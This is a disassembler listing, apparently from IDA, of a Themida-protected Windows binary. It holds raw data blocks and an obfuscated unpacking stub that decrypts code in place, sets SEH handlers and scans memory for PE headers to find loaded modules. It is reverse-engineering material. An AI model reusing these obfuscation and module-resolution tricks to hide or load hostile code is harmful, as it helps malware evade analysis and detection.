		dd 24000000h, 0BA7C801Ah, 1113000h, 5 dup(0)
		dd 0E7000000h, 5 dup(0)
		dd 0DD000000h, 0B3958h,	8 dup(0)
		dd 1B000000h, 6577DFC4h, 0FAA4D4h, 3 dup(0)
		dd 0A0000000h, 7C80ADh,	4 dup(0)
		dd 0B6000000h, 89005A6Dh, 0FFFFFFh, 46000000h, 5B66h, 4	dup(0)
		dd 0DF000000h, 0A9C530h, 0DA000000h, 100A7Eh, 72000000h
		dd 5C94h, 2 dup(0)
		dd 0B5000000h, 5BE7h, 0
		dd 82h,	2 dup(0)
		dd 7000000h, 600EDCh, 0
		dd 0CF000000h, 7C80B4h,	0
		dd 0BC000000h, 225214h,	0Ah dup(0)
		dd 68000000h, 39000000h, 0EB4F88CDh, 464934h, 0
		dd 0F0000000h, 12FFh, 2	dup(0)
		dd 18000000h, 7C90EEh, 94000000h, 0EBh,	2 dup(0)
		dd 6C000000h, 836F14h, 13h dup(0)
		dd 31000000h, 3A3ED7h, 0E0000000h, 5D0Eh, 38000000h, 0C662761Ch
		dd 0F367CEh, 3 dup(0)
		dd 0B0000000h, 5EB9h, 0E7000000h, 0Ah dup(0)
		dd 10000000h, 5C953h, 3	dup(0)
		dd 8D7C9000h, 1F3137h, 2 dup(0)
		dd 3C000000h, 0FFFF8Bh,	3 dup(0)
		dd 34000000h, 5B66h, 12h dup(0)
		dd 6A000000h, 8BB81h, 7	dup(0)
		dd 18000000h, 417C90EEh, 5E36h,	16h dup(0)
		dd 28000000h, 7801D330h, 0B328h, 0C2000000h, 5D4Bh, 0
		dd 34000000h, 5B66h, 2 dup(0)
		dd 6C000000h, 836F14h, 7 dup(0)
		dd 94000000h, 3Dh, 94026B00h, 3Dh, 6C000000h, 18003FC2h
		dd 991BAFh, 2 dup(0)
		dd 0BC000000h, 9 dup(0)
		dd 78000000h, 43D57Bh, 0Ah dup(0)
		dd 25200h, 0
		dd 0B000h, 5F000000h, 17FC93h, 3 dup(0)
		dd 0D7000000h, 0FFA2CFh, 2 dup(0)
		dd 0B0000000h, 181FFh, 0
		dd 0B0000000h, 151FFh, 19000000h, 0
		dd 64000000h, 0Ah dup(0)
		dd 0E7000000h, 0F0EF9Bh, 0
		dd 1000000h, 24000000h,	242424h, 0
		dd 46001100h, 5B83h, 2 dup(0)
		dd 0AA000000h, 1DD99CDh, 36000000h, 5F02h, 0Bh dup(0)
		dd 3E000000h, 5B87h, 3000000h, 0B0FAh, 94000000h, 7C90EBh
		dd 43000000h, 49575C3Ah, 574F444Eh, 79735C53h, 6D657473h
		dd 415C3233h, 50415644h, 2E323349h, 6C6C64h, 3Ch dup(0)
		dd 0E0000000h, 129AAh, 4 dup(0)
		dd 44000000h, 321514h, 44000000h, 0B01Ah, 3 dup(0)
		dd 0F1000000h, 0F3A16Bh, 7C000000h, 44000059h, 0CE8A4D3Dh
		dd 5BE9h, 0
		dd 18000000h, 87C90EEh,	0D4048EE7h, 3 dup(0)
		dd 83000000h, 5EB7h, 2 dup(0)
		dd 0E0000000h, 129AAh, 0
		dd 0CF000000h, 0B0A8h, 3 dup(0)
		dd 0D3000000h, 5EF3h, 5	dup(0)
		dd 90000000h, 4B76F212h, 3 dup(0)
		dd 0E9000000h, 13h, 5 dup(0)
		dd 0CE000000h, 0C535FBD1h, 5F27h, 4 dup(0)
		dd 90000000h, 5B005C42h, 0D066h, 0Eh dup(0)
		dd 94000000h, 7C90EBh, 0
		dd 0A4000000h, 12FFh, 3	dup(0)
		dd 37000000h, 77DDEEh, 0E8000000h, 14h,	8 dup(0)
		dd 8D000000h, 2005A75h,	0F4000000h, 5BF1h, 3 dup(0)
		dd 0BC000000h, 40187Eh,	3 dup(0)
		dd 0E0000000h, 129AAh, 4 dup(0)
		dd 40000000h, 0B01Ah, 4	dup(0)
		dd 6C000000h, 44000000h, 0C246DAh, 2 dup(0)
		dd 3000000h, 0FFA1DAh, 2 dup(0)
		dd 0A8000000h, 0E700144Bh, 0FD10E1h, 0
		dd 3000000h, 0B0FAh, 2 dup(0)
		dd 54000000h, 12FFh, 0FF000000h, 0FFFFFFh, 3 dup(0)
		dd 0F7000000h, 20707F9Fh, 0FED655h, 0
		dd 28000000h, 5B67h, 2 dup(0)
		dd 0F2000000h, 7C814Ah,	0Ah dup(0)
		dd 8A000000h, 32DBE4h, 0
		dd 18000000h, 0EC0000EEh, 0B037h, 2 dup(0)
		dd 84000000h, 94000000h, 347C90EBh, 5B66h, 8 dup(0)
		dd 5A000000h, 0E7BA2E6Bh, 24000000h, 6400B00Eh,	7C802Ch
		dd 3 dup(0)
		dd 3E000000h, 0B000h, 0CB000000h, 6022h, 2 dup(0)
		dd 3E000000h, 0FFF908h,	3 dup(0)
		dd 9000000h, 8F8060h, 9	dup(0)
		dd 0BF000000h, 0FFA506h, 29h dup(0)
		dd 2E000000h, 0DA10F8FDh, 7C81CDh, 0
		dd 0C7000000h, 5F2D38h,	0F000000h, 0B63Fh, 0FD000000h
		dd 96E3Ch, 5E000000h, 0FA4429h,	3 dup(0)
		dd 0CD000000h, 0DE4C669Bh, 7C80ABh, 9 dup(0)
		dd 0E5000000h, 0B631h, 0E000000h, 7C8018h, 200h, 0
		dd 37000000h, 0DD41ECh,	0E7000000h, 77DDEBh, 0
		dd 0E0000000h, 12FFh, 9	dup(0)
		dd 9E000000h, 91E5B6h, 0
		dd 17000000h, 0B094h, 6	dup(0)
		dd 51000000h, 2900B08Eh, 10449BFh, 0
		dd 6C000000h, 6011h, 9 dup(0)
		dd 0F000000h, 0B018h, 0EE000000h, 7DC995h, 5 dup(0)
		dd 94000000h, 7C9068h, 0
		dd 8D000000h, 0FFA81Eh,	7 dup(0)
		dd 5E000000h, 0FA4429h,	5 dup(0)
		dd 0B9000000h, 15CBC1h,	0E4000000h, 23h, 3 dup(0)
		dd 0B5000000h, 77D713h,	94000000h, 7C90EBh, 5 dup(0)
		dd 8000000h, 0BD00B0B5h, 1C7AFAC2h, 7D000008h, 8Dh, 0FC000000h
		dd 0
		dd 0BA000000h, 0EEDA22h, 0
		dd 0EE000000h, 852BEh, 2 dup(0)
		dd 94000000h, 8F7C90EBh, 0A1836F04h, 0C000B0AAh, 5EB6h
		dd 3 dup(0)
		dd 8D00B000h, 0FFA81Eh,	0
		dd 26C00h, 75000000h, 5EF5h, 0
		dd 23000000h, 5C64h, 1,	7 dup(0)
		dd 0E9000000h, 5F03h, 6	dup(0)
		dd 5C000000h, 0FF9F78h,	3 dup(0)
		dd 54000000h, 12FFh, 6 dup(0)
		dd 15000000h, 0FFFFCBh,	0
		dd 0F4000000h, 7FAh, 0Eh dup(0)
		dd 2000000h, 562B30h, 0
		dd 72000000h, 5C94h, 0
		dd 0BA00A500h, 0EC113000h, 62FEB3h, 0E9000000h,	7780EDh
		dd 0Dh dup(0)
		dd 0AD000000h, 0BA7E41A8h, 113000h, 0
		dd 0D4000000h, 9A025B6Dh, 1F005AFBh, 57DEh, 24221300h
		dd 0FFA50Ch, 5 dup(0)
		dd 0FB000000h, 0BF0057EFh, 573EDDh, 3 dup(0)
		dd 0CB000000h, 7865571Fh, 0B591h, 4 dup(0)
		dd 0EB000000h, 93000060h, 0B124h, 80000000h, 226DEBh, 0
		dd 9C000000h, 4	dup(0)
		dd 94000000h, 0AC7C90EBh, 0FFED00h, 5 dup(0)
		dd 6C000000h, 836F14h, 3 dup(0)
		dd 94000000h, 3	dup(0)
		dd 5B000000h, 0A176B44Eh, 7C80BEh, 0C8000000h, 9C9A05h
		dd 0
		dd 0F0005110h, 72h, 5 dup(0)
		dd 69004882h, 0B61Eh, 97000000h, 0CCh, 3 dup(0)
		dd 0BA000000h, 5E113000h, 0FA4429h, 40000000h, 0B01Ah
		dd 7 dup(0)
		dd 57000000h, 5D50h, 3 dup(0)
		dd 0E5000000h, 77DDEDh,	3 dup(0)
		dd 68000000h, 836F8Eh, 3 dup(0)
		dd 0FD000000h, 0FFA416h, 2 dup(0)
		dd 97000000h, 57CCh, 0BF000000h, 573EDFh, 0A4000000h, 6087h
		dd 0
		dd 2C000000h, 5D4Bh, 0
		dd 1000000h, 5000000h, 0A2801h,	3 dup(0)
		dd 94000000h, 7C90EBh, 0Fh dup(0)
		dd 0D4000000h, 13F3E8A3h, 0E700B602h, 47A7DFh, 0Bh dup(0)
		dd 0F6000000h, 5BDDEAh,	2 dup(0)
		dd 94000000h, 0F67C90EBh, 7C801Bh, 2 dup(0)
		dd 1000000h, 0A0000000h, 6007h,	0
		dd 34000000h, 0C2005B66h, 5AFBh, 0Ah dup(0)
		dd 94000000h, 0A07C90EBh, 5 dup(0)
		dd 16000000h, 5EA12Eh, 0
		dd 69000000h, 0A4672681h, 0
		dd 74000000h, 865559h, 2 dup(0)
		dd 60000000h, 0FFA30Dh,	3 dup(0)
		dd 97000000h, 0CCh, 0A1000000h,	4400B0AEh, 3C246DAh, 0B0FAh
		dd 0
		dd 3000000h, 5BE9h, 0Bh	dup(0)
		dd 29200h, 0E8000000h, 200246h,	2 dup(0)
		dd 0C8000000h, 12FEh, 3	dup(0)
		dd 1, 2	dup(0)
		dd 0FF000000h, 0A9C529h, 2 dup(0)
		dd 22000000h, 5B87h, 0
		dd 84000000h, 5426D4h, 3 dup(0)
		dd 60000000h, 0FFFFFFh,	0D7000000h, 0A8E2C2h, 0
		dd 94000000h, 0BF7C90EBh, 0ADE223ECh, 88B754h, 0
		dd 65000000h, 0FAA4D4h,	6 dup(0)
		dd 94000000h, 7C90EBh, 2 dup(0)
		dd 38000000h, 5C99h, 0E9000000h, 10B7h,	3 dup(0)
		dd 78000000h, 962h, 4 dup(0)
		dd 0E0000000h, 129AAh, 15h dup(0)
		dd 40000000h, 0B8C8h, 0F4000000h, 258447h, 2 dup(0)
		dd 20h,	14h dup(0)
		dd 0EB000000h, 464934h,	0Bh dup(0)
		dd 0CE000000h, 6 dup(0)
		dd 0FF000000h, 7FDFFFh,	4 dup(0)
		dd 90000000h, 0FFFFA3h,	0
		dd 70000000h, 0B5B2B5h,	3 dup(0)
		dd 21000000h, 1BDB70h, 0
		dd 0D0000000h, 0B00Eh, 2 dup(0)
		dd 43000000h, 5F6D5C3Ah, 61706E75h, 72656B63h, 80h dup(0)
		dd 94000000h, 7C90EBh, 0
		dd 74000000h, 2Bh, 0
		dd 70000000h, 3000000h,	0FFFFFAh, 3 dup(0)
		dd 94000000h, 547C90EBh, 3E0012FFh, 5CEBh, 6 dup(0)
		dd 1F000000h, 5B02h, 94000000h,	7C90EBh, 0E7000000h, 0Fh dup(0)
		dd 0C0000000h, 0B5177Dh, 3000000h, 57C9h, 2 dup(0)
		dd 0BA000000h, 0B2113000h, 5C18h, 0
		dd 35000000h, 0FFA471h,	19h dup(0)
		dd 54004000h, 12FFh, 2 dup(0)
		dd 0FA000000h, 427872h,	0EC000000h, 5BE9h, 40000000h, 0B01Ah
		dd 51000000h, 0B08Eh, 2	dup(0)
		dd 0F0000000h, 9D73CAh,	0
		dd 7C000000h, 0FD000000h, 95FF4F05h, 30h, 0
		dd 94000000h, 7C90EBh, 0E0000000h, 129AAh, 0
		dd 9000000h, 8F8060h, 4	dup(0)
		dd 48000000h, 6Bh, 7 dup(0)
		dd 4000000h, 2 dup(0)
		dd 0AE82h, 2 dup(0)
		dd 0F000000h, 1D00B018h, 6009h,	0
		dd 54000000h, 12FFh, 2 dup(0)
		dd 0F000000h, 0B018h, 2	dup(0)
		dd 4D000000h, 2135DC3Ch, 212121h, 0B8000000h, 0F41EA6D1h
		dd 4, 0FA000000h, 0BAF799h, 22000000h, 22222222h, 0CC222222h
		dd 0B03Eh, 4 dup(0)
		dd 323733h, 4 dup(0)
		dd 20C0h, 2 dup(0)
		dd 54000000h, 696D6568h, 6164h,	1Ch dup(0)
		dd 0DD000000h, 5B1685h,	6 dup(0)
		dd 9A000000h, 5D1Ah, 8 dup(0)
		dd 18000000h, 0B029h, 8	dup(0)
		dd 0BB000000h, 5CA5h, 0FA000000h, 66849Eh, 5 dup(0)
		dd 80000000h, 12FEh, 2 dup(0)
		dd 70000000h, 3, 0
		dd 55000000h, 5BE0h, 9000000h, 7C812Ah,	3 dup(0)
		dd 1E000000h, 5ED7h, 4 dup(0)
		dd 3000000h, 0DF00B0FAh, 0A9C530h, 0
		dd 95000000h, 5CEDh, 0
		dd 6C000000h, 836F14h, 0
		dd 33000000h, 2	dup(33333333h),	333333h, 3 dup(0)
		dd 80000000h, 12FEh, 0F3000000h, 27F9B9h, 0
		dd 37000000h, 0B0FAh, 0
		dd 34000000h, 204h, 44000000h, 7C90EBh,	4 dup(0)
		dd 0AC000000h, 7C802Ch,	2 dup(0)
		dd 44000000h, 7C90EBh, 98000000h, 5 dup(0)
		dd 8F000000h, 836F04h, 4 dup(0)
		dd 1000000h, 5D005BC3h,	0E87DC217h, 2C00003Ah, 5806h, 7	dup(0)
		dd 10000000h, 81h, 2 dup(0)
		dd 0E0000000h, 129AAh, 4 dup(0)
		dd 94000000h, 257C90EBh, 0FFA3ACh, 5Fh dup(0)
		dd 0E9000000h, 0DA0000D6h, 0E67C81CDh, 2005E93h, 0FB000000h
		dd 27F9B9h, 24000000h, 5EA4h, 2Fh dup(0)
		dd 0A0000000h, 6007h, 4	dup(0)
		dd 0EB000000h, 34h, 0
		dd 64000000h, 7	dup(0)
		dd 0E0000000h, 129AAh, 0
		dd 0C6000000h, 5CFFh, 8	dup(0)
		dd 0A5000000h, 5D1Dh, 4	dup(0)
		dd 93000000h, 183EDEh, 0
		dd 6000000h, 78005C37h,	0CE000000h, 5BE9h, 3 dup(0)
		dd 0D4000000h, 25B6Dh, 0
		dd 84000000h, 412662h, 2 dup(0)
		dd 0D000000h, 9230Ch, 0C1000000h, 0B5005A6Dh, 0DA77D713h
		dd 7C8111h, 2 dup(0)
		dd 0FF000000h, 6FFFFFFh, 30h, 3	dup(0)
		dd 0A0000000h, 5AC5h, 0A0000000h, 5AC5h, 2 dup(0)
		dd 0C3000000h, 0FFA7FDh, 4 dup(0)
		dd 3000000h, 5BE9h, 0Ch	dup(0)
		dd 96000000h, 5A005E33h, 0B777DDEEh, 8636FB2Dh,	0EACB38h
		dd 0
		dd 0E8000000h, 5C86h, 3	dup(0)
		dd 0CB000000h, 6022h, 29000000h, 10571D3Dh, 5B87h, 8 dup(0)
		dd 44000000h, 0DDE75Ch,	6 dup(0)
		dd 94000000h, 183E82h, 14000000h, 1130h, 52000000h, 61747365h
		dd 70417472h, 78652E70h, 65h, 2	dup(0)
		dd 20000000h, 0B019h, 0
		dd 0B000h, 2 dup(0)
		dd 0D2000000h, 62860h, 0F0000000h, 77DD6Bh, 6 dup(0)
		dd 7C000000h, 0E0000000h, 5DACh, 79000000h, 1FDE953h, 4D000000h
		dd 35DC3Ch, 4 dup(0)
		dd 0AD000000h, 0A8h, 0
		dd 80000000h, 0DED6388h, 0B38Bh, 54000000h, 770012FFh
		dd 230057FDh, 5C64h, 10000000h,	76F215h, 0
		dd 0B8000000h, 0D7887743h, 15F05Bh, 2 dup(0)
		dd 0E0000000h, 129AAh, 86h dup(0)
		dd 6D000000h, 7C9105h, 0EC000000h, 57D21Ch, 2 dup(0)
		dd 0BF000000h, 573EDDh,	2 dup(0)
		dd 1B000000h, 57CCh, 0Ah dup(0)
		dd 7A000000h, 0F1E21Ah,	5 dup(0)
		dd 3E000000h, 5B87h, 6 dup(0)
		dd 0DD000000h, 3Ah, 24000000h, 46DB56h,	5 dup(0)
		dd 6C000000h, 836F14h, 4 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_57F81B:				; CODE XREF: start:loc_57C2CAj
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 613355Bh
		mov	[ebp+61308B9h],	edx
		mov	[ebp+6133481h],	esi
		mov	[ebp+61313E5h],	eax
		cmp	dword ptr [ebp+61311CDh], 0
		jz	short loc_57F853
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_57F853:				; CODE XREF: start+6C831j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+6133081h],	eax
		push	45h
		call	sub_57F907
		push	783749Ah
		call	sub_57F94D
		push	0A894B25h
		call	sub_57F94D
		jmp	loc_57FA91
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 45h,	46h, 47h
		dd 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h, 5B5A5958h
		dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch
		dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h
		dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h
		dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h
		dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh
		dd 0C3C2C1C0h, 2 dup(0)
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_57F907	proc near		; CODE XREF: start+6C84Bp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 6133649h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_57F923:				; CODE XREF: sub_57F907+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_57F942
		mov	eax, [ebp+arg_0]
		mov	[ebx+61335B3h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_57F923
; ---------------------------------------------------------------------------


loc_57F942:				; CODE XREF: sub_57F907+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_57F907	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_57F94D	proc near		; CODE XREF: start+6C855p start+6C85Fp

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 6133692h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_57F973:				; CODE XREF: sub_57F94D+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_57F973
		mov	[ebp+var_84], 0
		lea	edi, [edx+61335B3h]
		lea	esi, [ebp+var_80]


loc_57F9A3:				; CODE XREF: sub_57F94D+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_57F9AF:				; CODE XREF: sub_57F94D+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_57F9AF
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_57F9A3
		popa
		leave
		retn	4
sub_57F94D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_57F9ED
; ---------------------------------------------------------------------------


loc_57F9E9:				; CODE XREF: Themida_:0057F9F0j
		inc	dword ptr [ebp-4]
		inc	esi


loc_57F9ED:				; CODE XREF: Themida_:0057F9E7j
		cmp	byte ptr [esi],	0
		jnz	short loc_57F9E9
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_57FA7E
; ---------------------------------------------------------------------------


loc_57F9FF:				; CODE XREF: Themida_:0057FA81j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_57FA75
; ---------------------------------------------------------------------------


loc_57FA08:				; CODE XREF: Themida_:0057FA79j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_57FA62
; ---------------------------------------------------------------------------


loc_57FA18:				; CODE XREF: Themida_:0057FA66j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_57FA3A
		cmp	bl, 39h
		ja	short loc_57FA3A
		sub	bl, 30h
		jmp	short loc_57FA5C
; ---------------------------------------------------------------------------


loc_57FA3A:				; CODE XREF: Themida_:0057FA2Ej
					; Themida_:0057FA33j
		cmp	bl, 61h
		jb	short loc_57FA4C
		cmp	bl, 66h
		ja	short loc_57FA4C
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_57FA5C
; ---------------------------------------------------------------------------


loc_57FA4C:				; CODE XREF: Themida_:0057FA3Dj
					; Themida_:0057FA42j
		cmp	bl, 41h
		jb	short loc_57FA5C
		cmp	bl, 46h
		ja	short loc_57FA5C
		sub	bl, 41h
		add	bl, 0Ah


loc_57FA5C:				; CODE XREF: Themida_:0057FA38j
					; Themida_:0057FA4Aj ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_57FA62:				; CODE XREF: Themida_:0057FA16j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_57FA18
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_57FA72
		mov	eax, [ebp-10h]
		stosb


loc_57FA72:				; CODE XREF: Themida_:0057FA6Cj
		inc	dword ptr [ebp-8]


loc_57FA75:				; CODE XREF: Themida_:0057FA06j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_57FA08
		add	edx, 4


loc_57FA7E:				; CODE XREF: Themida_:0057F9FDj
		cmp	edx, [ebp-4]
		jb	loc_57F9FF
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_57FA91:				; CODE XREF: start+6C864j
		mov	ecx, 7000h
		lea	edi, [ebp+61337D8h]


loc_57FA9C:				; CODE XREF: start+6CA8Cj
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_57FA9C
		mov	eax, 48692121h
		mov	edx, 0F0113000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+61338B5h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		sub	ebx, 0AE1C6C6h
		sub	eax, edx
		jmp	loc_57FAEC
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 0CA89h
		dd 9349DF13h, 0C46D289Ah, 0AAC09EA5h, 3458F021h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_57FAEC:				; CODE XREF: start+6CAC1j
		and	eax, 0FFFFF000h
		cmc
		mov	ecx, edx
		xor	edi, edi


loc_57FAF6:				; CODE XREF: start+6CAFDj
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_57FB0B
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	short loc_57FB13


loc_57FB0B:				; CODE XREF: start+6CAE7j
		sub	eax, 1000h
		inc	edi
		jmp	short loc_57FAF6
; ---------------------------------------------------------------------------


loc_57FB13:				; CODE XREF: start+6CAF5j
		pop	large dword ptr	fs:0
		add	esp, 4
		lea	edx, [ebp+61338C8h]
		push	edx
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		add	eax, ecx
		sub	eax, 1000h
		mov	esi, [eax+4]
		and	esi, 0FFFF0000h
		cmp	esi, 80000000h
		jbe	short loc_57FB4D
		mov	esi, [eax+1Ch]


loc_57FB4D:				; CODE XREF: start+6CB34j
		xor	eax, eax


loc_57FB4F:				; CODE XREF: start+6CB4Ej
		cmp	eax, 32h
		jz	short loc_57FB73
		cmp	word ptr [esi],	5A4Dh
		jz	short loc_57FB64


loc_57FB5B:				; CODE XREF: start+6CB5Dj
		sub	esi, 10000h
		inc	eax
		jmp	short loc_57FB4F
; ---------------------------------------------------------------------------


loc_57FB64:				; CODE XREF: start+6CB45j
		mov	edi, [esi+3Ch]
		add	edi, esi
		cmp	dword ptr [edi], 4550h
		jz	short loc_57FBB5
		jmp	short loc_57FB5B
; ---------------------------------------------------------------------------


loc_57FB73:				; CODE XREF: start+6CB3Ej
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 51h
		dd 10244C8Bh, 0B0A981h,	10000000h, 33590000h, 8B51C3C0h
		dd 5510244Ch, 0E8h, 0ED815D00h,	61338D3h, 3891858Dh, 81890613h
		dd 0B8h, 0C033595Dh
		db 0C3h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_57FBB5:				; CODE XREF: start+6CB5Bj
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		push	0
		push	ebp
		call	sub_57FBCB
		and	[ebp-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_57FBCB	proc near		; CODE XREF: start+6CBAFp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_57FBCB	endp

; ---------------------------------------------------------------------------
		db 0D9h
		dd 9FFCD22Dh, 662B2983h, 0D98ADF8Bh, 0AE9DF8Bh,	0E5000000h
		dd 0D023CB8Dh, 0DF49837Fh, 0D98C66EFh, 14E8h, 0ABDA2700h
		dd 0CB4FEDCAh, 884C3E5h, 5E7F353Bh, 0DED69E83h,	84BB666Ah
		dd 0E1805B5Ah, 56AFB304h, 0C90A5BF9h, 3F850Fh, 0C7F50000h
		dd 13173D85h, 106h, 17EF8000h, 38E9h, 0BE85100h, 29000000h
		dd 0C3E1D250h, 112EDB20h, 800FD796h, 0
		dd 0EE95B5Bh, 6E000000h, 555CAEFFh, 0E01506E7h,	0F6E66F37h
		dd 3D85C7A1h, 61317h, 0B3000000h, 6D8589A9h, 0E9061311h
		dd 7, 0CB0D7C69h, 890F86A3h, 131EE985h,	0FE806h, 0DCF80000h
		dd 1B317E29h, 71501E13h, 85FC603Dh, 4A51B8C9h, 665A1DABh
		dd 81FEF9BEh, 6C09C2h, 0F850F00h, 0E9000000h, 0Ah, 782518E8h
		dd 4B041E1Fh, 0C933372Bh, 810A3C8Bh, 5BF319E3h,	76C78168h
		dd 0B40D5DDFh, 55EF8113h, 6010A78Eh, 0D0BF0FF5h, 39F78161h
		dd 0BE28E821h, 2053DC43h, 8FB5B457h, 830F0A04h,	16h, 0CE960h
		dd 0A3EE0000h, 0DBC2DCFBh, 7B71E680h, 0B70F75F4h, 890F61F7h
		dd 2, 0E9838CB3h, 0DE8B6604h, 94B8F981h, 850FFFFFh, 16h
		dd 84A63BEh, 21E965h, 0FB3F0000h, 3652E578h, 0CA620EBFh
		dd 0E9F9F43Eh, 0FFFFFF80h, 0B267E84Ah, 0EF0A836Ah, 6E9A01E0h
		dd 0EB6820FAh, 21B04h, 724E900h, 10E90000h, 8A000000h
		dd 55D77416h, 8A9BA460h, 2133E8C6h, 6040411Fh, 18F58D01h
		dd 0B80613h, 60000000h,	8BD2B70Fh, 130FF9BDh, 548B6106h
		dd 8B602824h, 131AD99Dh, 0BE906h, 0E55A0000h, 9500E97Ch
		dd 747E228Bh, 858961FFh, 6132BC5h, 3CBEFCh, 3FC0000h, 1242474h
		dd 1334D995h, 89AD6606h, 131629BDh, 24440306h, 6810F24h
		dd 89000000h, 13318585h, 14E95006h, 1C000000h, 7FF0DEBCh
		dd 7F00B3E3h, 78BD0773h, 58A9BFC7h, 89BF9147h, 8A0F2404h
		dd 6, 24299D29h, 408B0613h, 51BD8978h, 3061329h, 0E9282444h
		dd 0Ch,	65AB2B3Fh, 8EDF2232h, 0ACABA4B0h, 0FC18408Bh, 1DBD8940h
		dd 89061312h, 133A8F85h, 99958906h, 6006131Ah, 799529h
		dd 58610613h, 5E9h, 0F0BBCE00h,	10E941D2h, 0E2000000h
		dd 0E31A9DA4h, 0AD8F501Ch, 203243EAh, 8BE8F430h, 8D897870h
		dd 61300E9h, 0F81CC683h, 24247403h, 5E9h, 0C0802500h, 0BD8D02BCh
		dd 61318C1h, 0F0B70F60h, 0CFBF0F60h, 1BD59D8Bh,	61610613h
		dd 14E9h, 76039D00h, 1AFD46D6h,	0B7ED6243h, 0ADC39C23h
		dd 36AD23D6h, 880FAD20h, 8, 2870Fh, 61600000h, 10E9h, 742E9400h
		dd 296855AFh, 2D3B60D2h, 8A3DC3ACh, 244403A8h, 0FE924h
		dd 0B6AC0000h, 0C4F5FCB0h, 29C8A86Dh, 122F4F2h,	8D89AB44h
		dd 6132BB5h, 951BD8Dh, 0B5090613h, 61304D9h, 0AE9h, 0E372C700h
		dd 0B9CAB34h, 0AD0C011Ah, 244403FCh, 7E924h, 0AF8F0000h
		dd 0B16C3446h, 61B5296Ah, 50061322h, 0D98B6660h, 0C3A0BE66h
		dd 24048961h, 19B50160h, 8906130Ch, 1310B5BDh, 840F6106h
		dd 8, 0A9BD8960h, 61061334h, 59BD31ABh,	8D06130Fh, 131B55BDh
		dd 9B58906h, 0AD061307h, 68D0Fh, 0B5890000h, 6133059h
		dd 28244403h, 12399D31h, 0BA600613h, 8FBDFA1h, 498D8960h
